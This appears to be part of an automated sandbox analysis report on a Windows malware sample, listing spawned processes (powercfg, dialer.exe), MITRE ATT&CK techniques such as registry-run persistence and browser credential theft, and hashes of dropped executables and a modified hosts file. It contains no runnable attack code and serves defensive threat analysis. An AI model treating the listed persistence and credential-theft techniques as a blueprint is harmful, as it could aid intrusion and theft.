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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2756 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3764
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:2680
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:3244
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2932
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Power Settings
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
3Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\9f8aef71\324dcd76.exe
- Size 8.5MB
- SHA256 b4a18098cf91e184229895667397d774b64578bbec934db3599e2b47ff82b7ce
- MD5 95a3dfdae9547c1878703c6a95a5c231
- SHA1 9aa61f73dc2f528a69e70a09cd385351951093d8
- SHA512 86530cfc377897a8ce77bc3ca69c09c6bdcc876738d088fd416550f7e4b3f89c33658201cda0c79fee6fa411f17c560d3395ece96ee39bae398a546ad41d1029
- SSDEEP 196608:8rlP31omc8twfjiuwbEtkXprVcjee4mbgbx+c:8rlP3148Gdp2Xpx23sbx
- TLSH T1AE9633A95867BF76FEBD9CB2A5B83836D0F8103629B1ECC135E665804D61F1B1F071A0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\9f8aef71\6cabf5e4.exe
- Size 4.2MB
- SHA256 a23f7d9949c5a50fcd51aa5444d621cfd5d0617728bf109787e2cd2547283b46
- MD5 c64740d255a447d44601b875bc9411c1
- SHA1 dc08c742deb570d43341f790373957c1ae9805b7
- SHA512 70cc72eb118262702e5740dd75cdb11a3b95c9f76bb9b7a27663698c2f5924d9a8a5bae77b30f48b5e012ee4aa647ac639f22783cd20e01b380bcb0d3db429d8
- SSDEEP 98304:69wC67QgjNLaU6BUkI1kzXC5hCYUP30GqQ+r696R:69/6MgZadsku5kYi0GqJ
- TLSH T1432633F9C6146785DD978372367E0D58C82A2A910ECB1204F62F6EA5B20FD4CC375F9A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a1l34y3o.yjy.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- TLSH T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 949304506fef7ab625fa806eba571e5a04a08e7e00d999cd3e1e6a5920fc1a2f
- MD5 8655b0366179d8ce082c1a7074e13481
- SHA1 4d1ae8da6a4d1a7d0c515d3d7e671634b2d8b8de
- SHA512 23c1ec30c806c58bd66ecf87de9eeae403646a4aa8447daa8508132cf43d1796bbc11bd1b3bf38352f11c7c9b0a2abd756a0d6589489a545e919919595a15c5f
- TLSH T193115727B39C89A1CC96163A509DAC1172B687D7409EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 3KB
- SHA256 eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
- MD5 00930b40cba79465b7a38ed0449d1449
- SHA1 4b25a89ee28b20ba162f23772ddaf017669092a5
- SHA512 cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62
- TLSH T1E451521E460491EC22B1C199C46FAA1DE34EB0F705DBC9CD798DC7DE27B197822D32A6
- MD5 SHA1 SHA512 TLSH